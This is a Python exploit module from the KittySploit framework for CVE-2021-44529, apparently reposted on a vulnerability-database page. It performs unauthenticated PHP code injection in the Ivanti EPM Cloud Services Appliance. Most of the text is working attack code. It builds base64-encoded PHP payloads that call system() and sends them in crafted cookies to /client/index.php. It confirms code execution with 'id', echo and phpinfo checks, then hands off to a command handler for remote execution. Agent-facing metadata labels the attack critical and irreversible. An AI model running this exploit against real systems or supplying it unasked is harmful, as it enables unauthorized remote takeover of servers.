Ivanti EPM CSA Code Injection (CVE-2021-44529)
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Ivanti EPM CSA unauthenticated code injection (CVE-2021-44529)."""
import base64
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Ivanti EPM CSA Code Injection (CVE-2021-44529)',
'description': (
'Exploits CVE-2021-44529 in Ivanti EPM Cloud Services Appliance: '
'crafted cookie values to /client/index.php execute arbitrary PHP code '
'without authentication.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2021-44529'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2021-44529',
],
'tags': ['ivanti', 'epm', 'csa', 'injection', 'rce', 'kev'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {
'suggested_followups': ['scanner/http/cve_2021_44529_detect'],
},
},
}
def _cookie_payload(self, php: str) -> dict:
encoded = base64.b64encode(php.encode('utf-8')).decode('ascii')
return {'Cookie': f'ab=ab; c={encoded}; d=; e=;'}
def execute(self, cmd: str) -> str:
safe = str(cmd).replace('"', '\\"')
php = f'system("{safe}");'
r = self.http_request(
method='GET',
path='/client/index.php',
headers=self._cookie_payload(php),
allow_redirects=False,
)
return (r.text or '') if r else ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {'vulnerable': True, 'reason': 'CVE-2021-44529 code injection confirmed', 'confidence': 'high'}
r = self.http_request(
method='GET',
path='/client/index.php',
headers=self._cookie_payload('phpinfo();'),
allow_redirects=False,
)
if r and 'phpinfo()' in (r.text or '') and 'Cloud Services Appliance' in (r.text or ''):
return {'vulnerable': True, 'reason': 'CSA phpinfo injection confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'Cookie injection failed', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
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05 Oct 2026 14:20Current
9Critical risk
Vulners AI Score9
CVSS 27.5
CVSS 3.19.8
EPSS0.99105
SSVC